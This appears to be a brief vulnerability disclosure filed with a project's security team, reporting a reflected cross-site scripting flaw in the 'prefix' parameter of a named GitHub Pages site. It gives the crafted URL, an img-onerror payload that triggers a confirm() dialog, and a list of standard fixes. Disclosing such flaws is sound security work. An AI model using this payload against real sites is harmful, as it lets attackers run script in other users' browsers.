Found Reflected XSS On your Site

[xElkomy]

Hello Security Team today I found Reflected XSS on your own website

Steps:-

1-Got this Url: https://illumina.github.io/PlatinumGenomes/?prefix=
2-Add Payload XSS In Parameter prefix
Done Exploit

Example:-

https://illumina.github.io/PlatinumGenomes/?prefix=1%27%22%3CImg%20Src%20OnError=confirm(%27xElkomy%27)%3E

payload:

1'"<Img Src OnError=confirm('xElkomy')>

Fix:-

Delete the reflect for prefix parameter
Filter input on arrival
Encode data on output
Use appropriate response headers
Content Security Policy.